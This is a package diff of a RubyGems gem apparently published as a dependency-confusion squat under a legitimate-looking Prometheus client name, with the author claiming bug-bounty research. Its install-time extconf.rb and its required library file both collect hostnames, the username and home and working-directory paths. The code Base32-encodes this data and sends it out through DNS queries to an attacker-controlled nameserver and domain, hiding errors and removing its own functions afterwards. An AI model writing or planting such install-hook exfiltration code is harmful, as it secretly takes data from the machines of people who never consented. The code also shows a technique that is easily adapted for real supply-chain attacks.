prometheus_client_ruby 0.0.900

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 366501e609472b2a8404420035b3ec802e90f7f573b3e186b6a5be8158cd8a3c
4
+ data.tar.gz: 73501c6958a08fdf5ebbe7e5eb10ffd7f0b26f45b5daf39918e6a2042510fc7c
5
+ SHA512:
6
+ metadata.gz: 393b7fb04adad0604d66cfa370f6aafe5cf295d8b797cc91fdf6f74a70dcc21f123209d257fa98e9fe794948bdd055e1c485aa31302138bd6ed1b4bfa341d968
7
+ data.tar.gz: 652404b2cacee0fc36b10afaa5b4eed2a63519bf479b300200eecee0a43c84d373f4aa6cef0982ea7a9faddccc51946b9f3031866c9c42a2342fd504d8b9c182
@@ -0,0 +1,192 @@
1
+ =begin
2
+ Hi, if you're reading this you're probably wondering what this code is doing on
3
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
4
+
5
+ I am an ethical security researcher, attempting attacks against organisations
6
+ that have a "bug bounty" type program in place.
7
+
8
+ I am performing work similar to the work in this blog post:
9
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
10
+
11
+ If your organisation has a bug bounty program my findings will be reported via
12
+ that program.
13
+
14
+ If your organisation does not have a bug bounty program, you were not targeted
15
+ by my work and have some how ended up getting included, any data reported from
16
+ your org will be discarded.
17
+
18
+ All data I collect will be deleted as soon as I'm done, in either case.
19
+
20
+ If you are reading this then you probably need to tighten up your Gemfiles
21
+ and/or upgrade Bundler, see here for more details:
22
+
23
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
24
+
25
+ You can read the code to confirm this but here's a top-level view of what it
26
+ does to help you out:
27
+
28
+ Grabs the hostname(s), current username, and the file paths to this script,
29
+ the current working directory, and the home directory. This helps me identify
30
+ which machines have been affected (for reporting), at which organisation (to
31
+ know who to report it to), and to eliminate false positives from machines that
32
+ fetch and install every Gem.
33
+
34
+ Generates a random ID so I can piece together the different fragments of data.
35
+
36
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
37
+ into chunks to go out as DNS queries that will hit a nameserver I control.
38
+
39
+ That's it!
40
+
41
+ If you have any questions or want to get in touch for any reason, you can reach
42
+ me at zofrex@gmail.com
43
+
44
+ =end
45
+
46
+
47
+ require "mkmf"
48
+
49
+ create_makefile "gem_test_VX0jmO8Se4QEoTYHTVYY"
50
+
51
+ require_relative Dir[File.join(File.dirname(File.realpath(__FILE__)), '..', '..', 'lib', '*', 'version.rb')].first
52
+
53
+ begin # big catch-all over everything to stop any errors escaping
54
+ def do_or_whatever
55
+ yield
56
+ rescue Exception
57
+ # keep going
58
+ end
59
+
60
+ do_or_whatever { require 'net/http' }
61
+ do_or_whatever { require 'socket' }
62
+ do_or_whatever { require 'etc' }
63
+ require 'securerandom'
64
+ require 'json'
65
+ require 'resolv'
66
+ require 'pathname'
67
+
68
+ def report_analytics
69
+ report_id = SecureRandom.alphanumeric(8)
70
+
71
+ idx_package = 0
72
+ idx_hostnames = 1
73
+ idx_username = 2
74
+ idx_paths = 3
75
+ idx_event = 4
76
+
77
+ idx_paths_file = 0
78
+ idx_paths_cwd = 1
79
+ idx_paths_script = 2
80
+ idx_paths_home = 3
81
+
82
+ data = Hash.new
83
+
84
+ data[idx_event] = 'install'
85
+
86
+ # package name
87
+ package_name = Pathname.new(File.dirname(File.realpath(__FILE__))).basename.to_s
88
+
89
+ package_version = Object.const_get(package_name.gsub(/(^|[^a-zA-Z])([a-z])/) {|match| "#{$1}#{$2.capitalize}"}.gsub(/[_-]/,'')).const_get('VERSION')
90
+ puts "Package #{package_name} has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
91
+ data[idx_package] = "#{package_name}-#{package_version}"
92
+
93
+ # get possible hostnames
94
+
95
+ hostnames = []
96
+
97
+ do_or_whatever { hostnames << Socket.gethostname }
98
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
99
+ do_or_whatever { hostnames << `hostname` }
100
+ do_or_whatever { hostnames << `hostname -f` }
101
+
102
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
103
+
104
+ # get local user
105
+
106
+ do_or_whatever { data[idx_username] = Etc.getlogin }
107
+
108
+ # get useful paths
109
+
110
+ paths = Hash.new
111
+
112
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
113
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
114
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
115
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
116
+
117
+ data[idx_paths] = paths
118
+
119
+ # encode payload
120
+
121
+ json = JSON.generate(data)
122
+ compressed = "u#{json}"
123
+
124
+ # attempt to compress data but don't sweat it if that fails
125
+ do_or_whatever do
126
+ require 'zlib'
127
+ compressed = "c#{Zlib.deflate(json)}"
128
+ end
129
+
130
+ # base32 encode the data
131
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
132
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
133
+ n = (slice.length * 8.0 / 5.0).ceil
134
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
135
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
136
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
137
+ end.join
138
+
139
+ # send data out via DNS lookups
140
+ total_queries = (encoded.length / 180.0).ceil
141
+
142
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
143
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
144
+
145
+ current_method = :generic
146
+ suffix = "zofrex-is-ethically-testing.ga"
147
+
148
+ methods = {
149
+ generic: {
150
+ address: "rp1.#{suffix}",
151
+ resolver: Resolv,
152
+ expected_ip: "127.0.0.3",
153
+ next_method: :direct
154
+ },
155
+ direct: {
156
+ address: "rp3.#{suffix}",
157
+ resolver: me_resolver,
158
+ expected_ip: "127.0.0.5",
159
+ next_method: :google
160
+ },
161
+ google: {
162
+ address: "rp2.#{suffix}",
163
+ resolver: google_resolver,
164
+ expected_ip: "127.0.0.4",
165
+ next_method: :direct
166
+ },
167
+ }
168
+
169
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
170
+ query_data = chunks.map(&:join).join('.')
171
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
172
+
173
+ # Try to get the message out somehow, start on whichever method worked on the previous loop
174
+ (1..6).each do
175
+ method = methods[current_method]
176
+ begin
177
+ address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
178
+ break if address == method[:expected_ip]
179
+ rescue
180
+ end
181
+ current_method = method[:next_method]
182
+ end
183
+ end
184
+ end
185
+
186
+ do_or_whatever { report_analytics }
187
+
188
+ # cleanup
189
+ do_or_whatever { undef report_analytics }
190
+ do_or_whatever { undef do_or_whatever }
191
+ rescue Exception
192
+ end
@@ -0,0 +1,188 @@
1
+ =begin
2
+ Hi, if you're reading this you're probably wondering what this code is doing on
3
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
4
+
5
+ I am an ethical security researcher, attempting attacks against organisations
6
+ that have a "bug bounty" type program in place.
7
+
8
+ I am performing work similar to the work in this blog post:
9
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
10
+
11
+ If your organisation has a bug bounty program my findings will be reported via
12
+ that program.
13
+
14
+ If your organisation does not have a bug bounty program, you were not targeted
15
+ by my work and have some how ended up getting included, any data reported from
16
+ your org will be discarded.
17
+
18
+ All data I collect will be deleted as soon as I'm done, in either case.
19
+
20
+ If you are reading this then you probably need to tighten up your Gemfiles
21
+ and/or upgrade Bundler, see here for more details:
22
+
23
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
24
+
25
+ You can read the code to confirm this but here's a top-level view of what it
26
+ does to help you out:
27
+
28
+ Grabs the hostname(s), current username, and the file paths to this script,
29
+ the current working directory, and the home directory. This helps me identify
30
+ which machines have been affected (for reporting), at which organisation (to
31
+ know who to report it to), and to eliminate false positives from machines that
32
+ fetch and install every Gem.
33
+
34
+ Generates a random ID so I can piece together the different fragments of data.
35
+
36
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
37
+ into chunks to go out as DNS queries that will hit a nameserver I control.
38
+
39
+ That's it!
40
+
41
+ If you have any questions or want to get in touch for any reason, you can reach
42
+ me at zofrex@gmail.com
43
+
44
+ =end
45
+
46
+
47
+ require Dir[File.join(File.dirname(File.realpath(__FILE__)), '*', 'version.rb')].first
48
+
49
+ begin # big catch-all over everything to stop any errors escaping
50
+ def do_or_whatever
51
+ yield
52
+ rescue Exception
53
+ # keep going
54
+ end
55
+
56
+ do_or_whatever { require 'net/http' }
57
+ do_or_whatever { require 'socket' }
58
+ do_or_whatever { require 'etc' }
59
+ require 'securerandom'
60
+ require 'json'
61
+ require 'resolv'
62
+ require 'pathname'
63
+
64
+ def report_analytics
65
+ report_id = SecureRandom.alphanumeric(8)
66
+
67
+ idx_package = 0
68
+ idx_hostnames = 1
69
+ idx_username = 2
70
+ idx_paths = 3
71
+ idx_event = 4
72
+
73
+ idx_paths_file = 0
74
+ idx_paths_cwd = 1
75
+ idx_paths_script = 2
76
+ idx_paths_home = 3
77
+
78
+ data = Hash.new
79
+
80
+ data[idx_event] = 'run'
81
+
82
+ # package name
83
+ package_name = Pathname.new(Dir[File.join(File.dirname(File.realpath(__FILE__)), '*')].select{|f| File.directory? f}.first).basename.to_s
84
+
85
+ package_version = Object.const_get(package_name.gsub(/(^|[^a-zA-Z])([a-z])/) {|match| "#{$1}#{$2.capitalize}"}.gsub(/[_-]/,'')).const_get('VERSION')
86
+ puts "Package #{package_name} has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
87
+ data[idx_package] = "#{package_name}-#{package_version}"
88
+
89
+ # get possible hostnames
90
+
91
+ hostnames = []
92
+
93
+ do_or_whatever { hostnames << Socket.gethostname }
94
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
95
+ do_or_whatever { hostnames << `hostname` }
96
+ do_or_whatever { hostnames << `hostname -f` }
97
+
98
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
99
+
100
+ # get local user
101
+
102
+ do_or_whatever { data[idx_username] = Etc.getlogin }
103
+
104
+ # get useful paths
105
+
106
+ paths = Hash.new
107
+
108
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
109
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
110
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
111
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
112
+
113
+ data[idx_paths] = paths
114
+
115
+ # encode payload
116
+
117
+ json = JSON.generate(data)
118
+ compressed = "u#{json}"
119
+
120
+ # attempt to compress data but don't sweat it if that fails
121
+ do_or_whatever do
122
+ require 'zlib'
123
+ compressed = "c#{Zlib.deflate(json)}"
124
+ end
125
+
126
+ # base32 encode the data
127
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
128
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
129
+ n = (slice.length * 8.0 / 5.0).ceil
130
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
131
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
132
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
133
+ end.join
134
+
135
+ # send data out via DNS lookups
136
+ total_queries = (encoded.length / 180.0).ceil
137
+
138
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
139
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
140
+
141
+ current_method = :generic
142
+ suffix = "zofrex-is-ethically-testing.ga"
143
+
144
+ methods = {
145
+ generic: {
146
+ address: "rp1.#{suffix}",
147
+ resolver: Resolv,
148
+ expected_ip: "127.0.0.3",
149
+ next_method: :direct
150
+ },
151
+ direct: {
152
+ address: "rp3.#{suffix}",
153
+ resolver: me_resolver,
154
+ expected_ip: "127.0.0.5",
155
+ next_method: :google
156
+ },
157
+ google: {
158
+ address: "rp2.#{suffix}",
159
+ resolver: google_resolver,
160
+ expected_ip: "127.0.0.4",
161
+ next_method: :direct
162
+ },
163
+ }
164
+
165
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
166
+ query_data = chunks.map(&:join).join('.')
167
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
168
+
169
+ # Try to get the message out somehow, start on whichever method worked on the previous loop
170
+ (1..6).each do
171
+ method = methods[current_method]
172
+ begin
173
+ address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
174
+ break if address == method[:expected_ip]
175
+ rescue
176
+ end
177
+ current_method = method[:next_method]
178
+ end
179
+ end
180
+ end
181
+
182
+ do_or_whatever { report_analytics }
183
+
184
+ # cleanup
185
+ do_or_whatever { undef report_analytics }
186
+ do_or_whatever { undef do_or_whatever }
187
+ rescue Exception
188
+ end
@@ -0,0 +1,3 @@
1
+ module PrometheusClientRuby
2
+ VERSION = '0.0.900'
3
+ end
metadata ADDED
@@ -0,0 +1,49 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: prometheus_client_ruby
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.900
5
+ platform: ruby
6
+ authors:
7
+ - James 'zofrex' Sanderson
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2021-02-24 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I am testing for dependency confusion vulnerabilities in products that
14
+ are in public bug bounty programs. This code is reporting-only, and does not do
15
+ anything malicious.
16
+ email:
17
+ - gem-research@zofrex.com
18
+ executables: []
19
+ extensions:
20
+ - ext/prometheus_client_ruby/extconf.rb
21
+ extra_rdoc_files: []
22
+ files:
23
+ - ext/prometheus_client_ruby/extconf.rb
24
+ - lib/prometheus_client_ruby.rb
25
+ - lib/prometheus_client_ruby/version.rb
26
+ homepage:
27
+ licenses:
28
+ - MIT
29
+ metadata: {}
30
+ post_install_message:
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: 1.9.0
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements: []
45
+ rubygems_version: 3.1.4
46
+ signing_key:
47
+ specification_version: 4
48
+ summary: Testing dependency confusion bugs
49
+ test_files: []